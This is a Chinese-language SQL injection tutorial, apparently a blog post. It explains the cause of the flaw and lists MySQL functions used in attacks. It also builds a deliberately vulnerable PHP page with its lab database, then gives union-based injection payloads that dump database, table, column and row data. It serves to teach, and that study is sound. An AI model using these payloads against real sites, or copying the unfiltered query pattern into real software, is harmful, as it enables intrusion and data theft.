文章插图
一
1.注入原理
sql注入漏洞产生的原理是因为服务器对用户输入参数过滤不严格,将含有恶意代码的参数代入数据库查询语句中并执行 。
2.sql注入中常用的函数与语法
将select的查询结果全部显示出来,占一个显示位
Group_concat():
查询MySQL版本
select version():
查询数据库用户名
select user():
查询数据库名
select database():
查询数据库的绝对路径
select @@datadir():
select @@version_compile_os:查询操作系统版本
select current_user():查询当前用户
Order by: 找列的数量
Union select:联合查询(联合查询的条件是前一条语句查询不到且字段数与前一条语句的查询字段数一致)
limit:限制显示个数(如:limit 0 2 表示从第一个开始显示两个)
3.注入实例
环境:win7+phpstudy
部分代码实现(文件保存为sql.php)
<?php
error_reporting(0);
$id = $_GET['id'];
$con = mysql_connect('localhost','root','root');
if(!$con){
die('mysql connect failed');
}
mysql_select_db('test',$con) or die('failed to connect db');
$sql = "SELECT * FROM users WHERE id='{$id}'";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result)) {
echo "
姓名:$row[1] 绰号:$row[2]
";
}else{
echo mysql_error();
}
mysql_close($con);
?>
数据库代码
create database test; //创建数据库test
create table users(id int,name varchar(10),nicheng varchar(15)); //创建users表
insert into users values(1,'haha','haha');
insert into users values(2,'xixi','xixi'); //插入数据
- 开phpstudy,访问sql.php
文章插图
- 输入正确的ID,能够查询出数据
文章插图
- 检测是否存在注入
- 通过源代码我们可以知道这里对传入的ID没有做任何过滤所以可以开始构造恶意语句
或
?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+ //爆库
?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),3 --+ //爆表
?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),3 --+ //爆字段
?id=-1' union select 1,(select 字段 from 数据库.表 limit 0,1),3 --+ //爆数据
推荐阅读
- 21分钟 MySQL 入门教程
- 两款免费的MySQL性能监控工具
- 6个提供免费证书的地方,免费给你的网站升级 HTTPS
- Oracle数据库和SQL server数据库的区别
- MySQL基本使用
- 网站被攻击 该怎样查找漏洞并进行修复
- MySQL:常用的30种SQL查询语句优化方法
- 你忽略的seo策略分析
- SQL高级知识——动态SQL
- Mysql中的数据分组和子查询